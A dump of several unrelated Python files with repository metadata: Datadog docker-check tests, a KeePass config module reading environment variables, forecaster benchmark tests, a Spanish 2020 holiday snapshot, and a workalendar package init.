'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.io.read_bytes', ["container_command:nginx -g 'daemon off;'"]), ('docker.io.read_bytes', ['container_command:docker-entrypoint.sh redis-server']), ('docker.io.write_bytes', ['container_command:docker-entrypoint.sh redis-server']), ('docker.io.write_bytes', ["container_command:nginx -g 'daemon off;'"]), ('docker.mem.cache', ["container_command:nginx -g 'daemon off;'"]), ('docker.mem.cache', ['container_command:docker-entrypoint.sh redis-server']), ('docker.mem.rss', ['container_command:docker-entrypoint.sh redis-server']), ('docker.mem.rss', ["container_command:nginx -g 'daemon off;'"]), ('docker.net.bytes_rcvd', ['container_command:docker-entrypoint.sh redis-server']), ('docker.net.bytes_rcvd', ["container_command:nginx -g 'daemon off;'"]), ('docker.net.bytes_sent', ["container_command:nginx -g 'daemon off;'"]), ('docker.net.bytes_sent', ['container_command:docker-entrypoint.sh redis-server']) ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "performance_tags": ["container_command"], "container_tags": ["container_command"], "collect_images_stats": True, "collect_image_size": True, }, ], } DockerUtil._drop() DockerUtil(init_config=config['init_config'], instance=config['instances'][0]) self.run_check_twice(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) def test_set_docker_settings(self): """Test a client settings update""" self.assertEqual(DockerUtil().settings["version"], "auto") cur_loc = __file__ init_config = { "api_version": "foobar", "timeout": "42", "tls_client_cert": cur_loc, "tls_client_key": cur_loc, "tls_cacert": cur_loc, "tls": True } instance = { "url": "https://foo.bar:42", } DockerUtil().set_docker_settings(init_config, instance) client = DockerUtil().client self.assertEqual(client.verify, cur_loc) self.assertEqual(client.cert, (cur_loc, cur_loc)) reset_docker_settings() def test_labels_collection(self): expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']), ('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']), ('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']), ('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest', 'label1:nginx']), ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "collect_labels_as_tags": ["label1"], "collect_image_size": True, "collect_images_stats": True, "collect_container_count": True, "collect_dead_container_count": True, "collect_exited_container_count": True, "collect_volume_count": True, "collect_dangling_volume_count": True, }, ], } DockerUtil._drop() DockerUtil(init_config=config['init_config'], instance=config['instances'][0]) self.run_check(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) def test_histogram(self): metric_suffix = ["count", "avg", "median", "max", "95percentile"] expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ] histo_metrics = [ ('docker.mem.cache', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.cache', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.rss', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.limit', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.in_use', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "collect_image_size": True, "collect_images_stats": True, "use_histogram": True, }, ], } DockerUtil._drop() DockerUtil(init_config=config['init_config'], instance=config['instances'][0]) self.run_check(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) for mname, tags in histo_metrics: for suffix in metric_suffix: self.assertMetric(mname + "." + suffix, tags=tags, at_least=1) def test_events(self): config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "collect_images_stats": True, }, ], } DockerUtil().set_docker_settings(config['init_config'], config['instances'][0]) self.run_check(config, force_reload=True) self.assertEqual(len(self.events), 2) def test_healthcheck(self): config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "health_service_check_whitelist": ["docker_image:nginx", "docker_image:redis"], }, ], } DockerUtil().set_docker_settings(config['init_config'], config['instances'][0]) self.run_check(config, force_reload=True) self.assertServiceCheck('docker.container_health', count=2) config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "health_service_check_whitelist": [], }, ], } DockerUtil._drop() DockerUtil(init_config=config['init_config'], instance=config['instances'][0]) self.run_check(config, force_reload=True) self.assertServiceCheck('docker.container_health', count=0) def test_container_size(self): expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.limit', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.in_use', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), # Container size metrics ("docker.container.size_rootfs", ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ("docker.container.size_rootfs", ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ("docker.container.size_rw", ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "collect_container_size": True, "collect_image_size": True, "collect_images_stats": True, }, ], } DockerUtil().set_docker_settings(config['init_config'], config['instances'][0]) self.run_check(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) def test_image_tags_extraction(self): entities = [ # ({'Image': image_name}, [expected_image_name, expected_image_tag]) ({'Image': 'nginx:latest'}, [['nginx'], ['latest']]), ({'Image': 'localhost/nginx:latest'}, [['localhost/nginx'], ['latest']]), ({'Image': 'localhost:5000/nginx:latest'}, [['localhost:5000/nginx'], ['latest']]), ({'RepoTags': ['redis:latest']}, [['redis'], ['latest']]), ({'RepoTags': ['localhost/redis:latest']}, [['localhost/redis'], ['latest']]), ({'RepoTags': ['localhost:5000/redis:latest']}, [['localhost:5000/redis'], ['latest']]), ({'RepoTags': ['localhost:5000/redis:latest', 'localhost:5000/redis:v1.1']}, [['localhost:5000/redis'], ['latest', 'v1.1']]), ({'RepoTags': [], 'RepoDigests': [u'datadog/docker-dd-agent@sha256:47a59c2ea4f6d9555884aacc608b303f18bde113b1a3a6743844bfc364d73b44']}, [['datadog/docker-dd-agent'], None]), ] for entity in entities: self.assertEqual(sorted(DockerUtil.image_tag_extractor(entity[0], 0)), sorted(entity[1][0])) tags = DockerUtil.image_tag_extractor(entity[0], 1) if isinstance(entity[1][1], list): self.assertEqual(sorted(tags), sorted(entity[1][1])) else: self.assertEqual(tags, entity[1][1]) def test_container_name_extraction(self): containers = [ ({'Id': 'deadbeef'}, ['deadbeef']), ({'Names': ['/redis'], 'Id': 'deadbeef'}, ['redis']), ({'Names': ['/mongo', '/redis/mongo'], 'Id': 'deadbeef'}, ['mongo']), ({'Names': ['/redis/mongo', '/mongo'], 'Id': 'deadbeef'}, ['mongo']), ] for co in containers: self.assertEqual(DockerUtil.container_name_extractor(co[0]), co[1])
52.195686
161
0.607616
3,828
33,875
5.165622
0.070533
0.092849
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0.748913
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0.009192
0.226037
33,875
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7
82bf8f2363fb51693d2b5d0cd12c52748f376e08
125
py
Python
python/config/security/keepass.py
domidemps/popote
fc3a4aa386f9225f9690d2743491952f67088c02
[ "MIT" ]
5
2019-09-29T19:48:43.000Z
2022-02-10T10:07:46.000Z
python/config/security/keepass.py
domidemps/popote
fc3a4aa386f9225f9690d2743491952f67088c02
[ "MIT" ]
46
2019-09-29T17:42:03.000Z
2022-02-13T18:14:06.000Z
python/config/security/keepass.py
domidemps/popote
fc3a4aa386f9225f9690d2743491952f67088c02
[ "MIT" ]
null
null
null
import os KEEPASS_PATH = os.environ.get("POPOTE_KEEPASS_PATH") KEEPASS_PASSWORD = os.environ.get("POPOTE_KEEPASS_PASSWORD")
25
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125
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0.25
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false
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7
82dcb76adb4c589e7f07d325cae78e8c10fd8e4d
2,738
py
Python
tests/test_benchmark.py
ahmed-f-alrefaie/forecaster
25b73a533f6195f3e5c703730e63cb3e242c649a
[ "MIT" ]
null
null
null
tests/test_benchmark.py
ahmed-f-alrefaie/forecaster
25b73a533f6195f3e5c703730e63cb3e242c649a
[ "MIT" ]
null
null
null
tests/test_benchmark.py
ahmed-f-alrefaie/forecaster
25b73a533f6195f3e5c703730e63cb3e242c649a
[ "MIT" ]
null
null
null
import numpy as np import pytest from forecaster.mr_forecast import load_file NSAMPLES = 100 @pytest.mark.linearbench def test_piece_linear_original(benchmark): from forecaster.func import generate_mass, pick_random_hyper, \ piece_linear, piece_linear_II from forecaster.mr_forecast import load_file all_hyper = load_file() nsamples = NSAMPLES mass = generate_mass(1.0, 0.1, nsamples) sample_size = len(mass) logm = np.log10(mass) prob = np.random.random(sample_size) logr = np.ones_like(logm) hyper = pick_random_hyper(all_hyper, sample_size=sample_size) def myfunc(): return [piece_linear(hyper[i], logm[i], prob[i]) for i in range(sample_size)] benchmark(myfunc) @pytest.mark.linearbench def test_piece_linear_new(benchmark): from forecaster.func import generate_mass, pick_random_hyper, \ piece_linear, piece_linear_II from forecaster.mr_forecast import load_file all_hyper = load_file() nsamples = NSAMPLES mass = generate_mass(1.0, 0.1, nsamples) sample_size = len(mass) logm = np.log10(mass) prob = np.random.random(sample_size) logr = np.ones_like(logm) hyper = pick_random_hyper(all_hyper, sample_size=sample_size) benchmark(piece_linear_II, hyper, logm, prob) @pytest.mark.probrbench def test_probR_original(benchmark): from scipy.stats import norm, truncnorm from forecaster.func import generate_mass, pick_random_hyper, \ piece_linear, piece_linear_II, ProbRGivenM all_hyper = load_file() mean = 0.01 std = 0.001 sample_size = NSAMPLES radius = truncnorm.rvs( (0.-mean)/std, np.inf, loc=mean, scale=std, size=sample_size) logr = np.log10(radius) logm = np.ones_like(logr) grid_size = 100 logm_grid = np.linspace(-3.522, 5.477, int(grid_size)) hyper = pick_random_hyper(all_hyper, sample_size=sample_size) def func(): return np.array([ ProbRGivenM(logr[i], logm_grid, hyper[i,:]) for i in range(sample_size)]) benchmark(func) @pytest.mark.probrbench def test_probR_new(benchmark): from scipy.stats import norm, truncnorm from forecaster.func import generate_mass, pick_random_hyper, \ piece_linear, piece_linear_II, ProbRGivenM_II all_hyper = load_file() mean = 0.01 std = 0.001 sample_size = NSAMPLES radius = truncnorm.rvs( (0.-mean)/std, np.inf, loc=mean, scale=std, size=sample_size) logr = np.log10(radius) logm = np.ones_like(logr) grid_size = 100 logm_grid = np.linspace(-3.522, 5.477, int(grid_size)) hyper = pick_random_hyper(all_hyper, sample_size=sample_size) benchmark(ProbRGivenM_II, logr, logm_grid, hyper)
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2,738
87
90
31.471264
0.807201
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0
0
0
0
0
0
0
0
7
7d5a1dcc558df04928830e2aed62e604bc46ffd5
15,939
py
Python
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[es_ES-2020] 1.py
gour/holidata
89c7323f9c5345a3ecbf5cd5a835b0e08cfebc13
[ "MIT" ]
32
2019-04-12T08:01:34.000Z
2022-02-28T04:41:50.000Z
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[es_ES-2020] 1.py
gour/holidata
89c7323f9c5345a3ecbf5cd5a835b0e08cfebc13
[ "MIT" ]
74
2019-07-09T16:35:20.000Z
2022-03-09T16:41:34.000Z
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[es_ES-2020] 1.py
gour/holidata
89c7323f9c5345a3ecbf5cd5a835b0e08cfebc13
[ "MIT" ]
20
2019-01-28T07:41:02.000Z
2022-02-16T02:38:57.000Z
[ { 'date': '2020-01-01', 'description': 'Año Nuevo', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NF' }, { 'date': '2020-01-06', 'description': 'Epifanía del Señor', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRF' }, { 'date': '2020-02-28', 'description': 'Día de Andalucía', 'locale': 'es-ES', 'notes': '', 'region': 'AN', 'type': 'F' }, { 'date': '2020-03-13', 'description': 'Estatuto de Autonomía de la Ciudad de Melilla', 'locale': 'es-ES', 'notes': '', 'region': 'ML', 'type': 'F' }, { 'date': '2020-03-19', 'description': 'San José', 'locale': 'es-ES', 'notes': '', 'region': 'CM', 'type': 'RF' }, { 'date': '2020-03-19', 'description': 'San José', 'locale': 'es-ES', 'notes': '', 'region': 'GA', 'type': 'RF' }, { 'date': '2020-03-19', 'description': 'San José', 'locale': 'es-ES', 'notes': '', 'region': 'MC', 'type': 'RF' }, { 'date': '2020-03-19', 'description': 'San José', 'locale': 'es-ES', 'notes': '', 'region': 'NC', 'type': 'RF' }, { 'date': '2020-03-19', 'description': 'San José', 'locale': 'es-ES', 'notes': '', 'region': 'PV', 'type': 'RF' }, { 'date': '2020-03-19', 'description': 'San José', 'locale': 'es-ES', 'notes': '', 'region': 'VC', 'type': 'RF' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'AN', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'AR', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'AS', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'CB', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'CE', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'CL', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'CM', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'CN', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'EX', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'GA', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'IB', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'MC', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'MD', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'ML', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'NC', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'PV', 'type': 'RV' }, { 'date': '2020-04-09', 'description': 'Jueves Santo', 'locale': 'es-ES', 'notes': '', 'region': 'RI', 'type': 'RV' }, { 'date': '2020-04-10', 'description': 'Viernes Santo', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRV' }, { 'date': '2020-04-12', 'description': 'Pascua', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'CB', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'CM', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'CT', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'IB', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'NC', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'PV', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'RI', 'type': 'RV' }, { 'date': '2020-04-13', 'description': 'Lunes de Pascua', 'locale': 'es-ES', 'notes': '', 'region': 'VC', 'type': 'RV' }, { 'date': '2020-04-23', 'description': 'Fiesta de Castilla y León', 'locale': 'es-ES', 'notes': '', 'region': 'CL', 'type': 'F' }, { 'date': '2020-04-23', 'description': 'San Jorge / Día de Aragón', 'locale': 'es-ES', 'notes': '', 'region': 'AR', 'type': 'RF' }, { 'date': '2020-05-01', 'description': 'Fiesta del Trabajo', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NF' }, { 'date': '2020-05-02', 'description': 'Fiesta de la Comunidad de Madrid', 'locale': 'es-ES', 'notes': '', 'region': 'MD', 'type': 'F' }, { 'date': '2020-05-30', 'description': 'Día de Canarias', 'locale': 'es-ES', 'notes': '', 'region': 'CN', 'type': 'F' }, { 'date': '2020-06-09', 'description': 'Día de la Región de Murcia', 'locale': 'es-ES', 'notes': '', 'region': 'MC', 'type': 'F' }, { 'date': '2020-06-09', 'description': 'Día de La Rioja', 'locale': 'es-ES', 'notes': '', 'region': 'RI', 'type': 'F' }, { 'date': '2020-06-11', 'description': 'Corpus Christi', 'locale': 'es-ES', 'notes': '', 'region': 'CM', 'type': 'RV' }, { 'date': '2020-06-24', 'description': 'San Juan', 'locale': 'es-ES', 'notes': '', 'region': 'CT', 'type': 'RF' }, { 'date': '2020-06-24', 'description': 'San Juan', 'locale': 'es-ES', 'notes': '', 'region': 'GA', 'type': 'RF' }, { 'date': '2020-06-24', 'description': 'San Juan', 'locale': 'es-ES', 'notes': '', 'region': 'VC', 'type': 'RF' }, { 'date': '2020-07-25', 'description': 'Santiago Apóstol', 'locale': 'es-ES', 'notes': '', 'region': 'PV', 'type': 'RF' }, { 'date': '2020-07-25', 'description': 'Santiago Apóstol / Día Nacional de Galicia', 'locale': 'es-ES', 'notes': '', 'region': 'GA', 'type': 'RF' }, { 'date': '2020-07-28', 'description': 'Día de las Instituciones de Cantabria', 'locale': 'es-ES', 'notes': '', 'region': 'CB', 'type': 'F' }, { 'date': '2020-07-31', 'description': 'Fiesta del Sacrificio (Aid El Kebir)', 'locale': 'es-ES', 'notes': '', 'region': 'ML', 'type': 'RV' }, { 'date': '2020-07-31', 'description': 'Fiesta del Sacrificio (Eidul Adha)', 'locale': 'es-ES', 'notes': '', 'region': 'CE', 'type': 'RV' }, { 'date': '2020-08-15', 'description': 'Asunción de la Virgen', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRF' }, { 'date': '2020-09-02', 'description': 'Día de Ceuta', 'locale': 'es-ES', 'notes': '', 'region': 'CE', 'type': 'F' }, { 'date': '2020-09-08', 'description': 'Día de Asturias', 'locale': 'es-ES', 'notes': '', 'region': 'AS', 'type': 'F' }, { 'date': '2020-09-08', 'description': 'Día de Extremadura', 'locale': 'es-ES', 'notes': '', 'region': 'EX', 'type': 'F' }, { 'date': '2020-09-11', 'description': 'Fiesta Nacional de Cataluña', 'locale': 'es-ES', 'notes': '', 'region': 'CT', 'type': 'F' }, { 'date': '2020-09-15', 'description': 'La Bien Aparecida', 'locale': 'es-ES', 'notes': '', 'region': 'CB', 'type': 'RF' }, { 'date': '2020-10-09', 'description': 'Día de la Comunitat Valenciana', 'locale': 'es-ES', 'notes': '', 'region': 'VC', 'type': 'F' }, { 'date': '2020-10-12', 'description': 'Fiesta Nacional de España', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NF' }, { 'date': '2020-11-01', 'description': 'Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRF' }, { 'date': '2020-11-02', 'description': 'Lunes siguiente a Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': 'AN', 'type': 'F' }, { 'date': '2020-11-02', 'description': 'Lunes siguiente a Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': 'AR', 'type': 'F' }, { 'date': '2020-11-02', 'description': 'Lunes siguiente a Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': 'AS', 'type': 'F' }, { 'date': '2020-11-02', 'description': 'Lunes siguiente a Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': 'CL', 'type': 'F' }, { 'date': '2020-11-02', 'description': 'Lunes siguiente a Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': 'EX', 'type': 'F' }, { 'date': '2020-11-02', 'description': 'Lunes siguiente a Todos los Santos', 'locale': 'es-ES', 'notes': '', 'region': 'MD', 'type': 'F' }, { 'date': '2020-12-06', 'description': 'Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NF' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'AN', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'AR', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'AS', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'CE', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'CL', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'CN', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'EX', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'IB', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'MC', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'MD', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'ML', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'NC', 'type': 'F' }, { 'date': '2020-12-07', 'description': 'Lunes siguiente al Día de la Constitución Española', 'locale': 'es-ES', 'notes': '', 'region': 'RI', 'type': 'F' }, { 'date': '2020-12-08', 'description': 'Inmaculada Concepción', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRF' }, { 'date': '2020-12-25', 'description': 'Natividad del Señor', 'locale': 'es-ES', 'notes': '', 'region': '', 'type': 'NRF' }, { 'date': '2020-12-26', 'description': 'San Esteban', 'locale': 'es-ES', 'notes': '', 'region': 'CT', 'type': 'RF' }, { 'date': '2020-12-26', 'description': 'San Esteban', 'locale': 'es-ES', 'notes': '', 'region': 'IB', 'type': 'RF' } ]
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7d8117bec20837e25c232ab64b0ff3de6e2f6ed2
2,238
py
Python
workalendar/america/__init__.py
ftatarli/workalendar
111d2268f6153cfa1906823409103f5d532f7b8b
[ "MIT" ]
2
2020-07-15T09:56:41.000Z
2021-02-04T18:11:28.000Z
workalendar/america/__init__.py
ftatarli/workalendar
111d2268f6153cfa1906823409103f5d532f7b8b
[ "MIT" ]
null
null
null
workalendar/america/__init__.py
ftatarli/workalendar
111d2268f6153cfa1906823409103f5d532f7b8b
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from .barbados import Barbados from .brazil import ( Brazil, BrazilAcre, BrazilAlagoas, BrazilAmapa, BrazilAmazonas, BrazilBahia, BrazilCeara, BrazilDistritoFederal, BrazilEspiritoSanto, BrazilGoias, BrazilMaranhao, BrazilMatoGrosso, BrazilMatoGrossoDoSul, BrazilPara, BrazilParaiba, BrazilPernambuco, BrazilPiaui, BrazilRioDeJaneiro, BrazilRioGrandeDoNorte, BrazilRioGrandeDoSul, BrazilRondonia, BrazilRoraima, BrazilSantaCatarina, BrazilSaoPauloState, BrazilSaoPauloCity, BrazilSergipe, BrazilTocantins, BrazilVitoriaCity, BrazilVilaVelhaCity, BrazilCariacicaCity, BrazilGuarapariCity, BrazilSerraCity, BrazilBankCalendar ) from .canada import ( Canada, Ontario, Quebec, BritishColumbia, Alberta, Saskatchewan, Manitoba, NewBrunswick, NovaScotia, PrinceEdwardIsland, Newfoundland, Yukon, NorthwestTerritories, Nunavut ) from .chile import Chile from .colombia import Colombia from .mexico import Mexico from .panama import Panama from .paraguay import Paraguay __all__ = ( # Brazil & its states. 'Brazil', 'BrazilAcre', 'BrazilAlagoas', 'BrazilAmapa', 'BrazilAmazonas', 'BrazilBahia', 'BrazilCeara', 'BrazilDistritoFederal', 'BrazilEspiritoSanto', 'BrazilGoias', 'BrazilMaranhao', 'BrazilMatoGrosso', 'BrazilMatoGrossoDoSul', 'BrazilPara', 'BrazilParaiba', 'BrazilPernambuco', 'BrazilPiaui', 'BrazilRioDeJaneiro', 'BrazilRioGrandeDoNorte', 'BrazilRioGrandeDoSul', 'BrazilRondonia', 'BrazilRoraima', 'BrazilSantaCatarina', 'BrazilSaoPauloState', 'BrazilSaoPauloCity', 'BrazilSergipe', 'BrazilTocantins', 'BrazilVitoriaCity', 'BrazilVilaVelhaCity', 'BrazilCariacicaCity', 'BrazilGuarapariCity', 'BrazilSerraCity', 'BrazilBankCalendar', # Canada 'Canada', 'Ontario', 'Quebec', 'BritishColumbia', 'Alberta', 'Saskatchewan', 'Manitoba', 'NewBrunswick', 'NovaScotia', 'PrinceEdwardIsland', 'Newfoundland', 'Yukon', 'NorthwestTerritories', 'Nunavut', # Other american countries 'Barbados', 'Chile', 'Colombia', 'Mexico', 'Panama', 'Paraguay', )
26.642857
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11.156028
0.453901
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0
0
0
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7
7db31b6dd7ccf8e6655a8a761b3aacfb7cd66c61
10,250
py
Python
tests/test_api.py
vphilippon/python-awesojson
34f2a8f38b436df6dea6955db4fb024d530fc49a
[ "MIT" ]
3
2015-07-18T02:11:03.000Z
2019-07-12T02:16:39.000Z
tests/test_api.py
vphilippon/python-awesojson
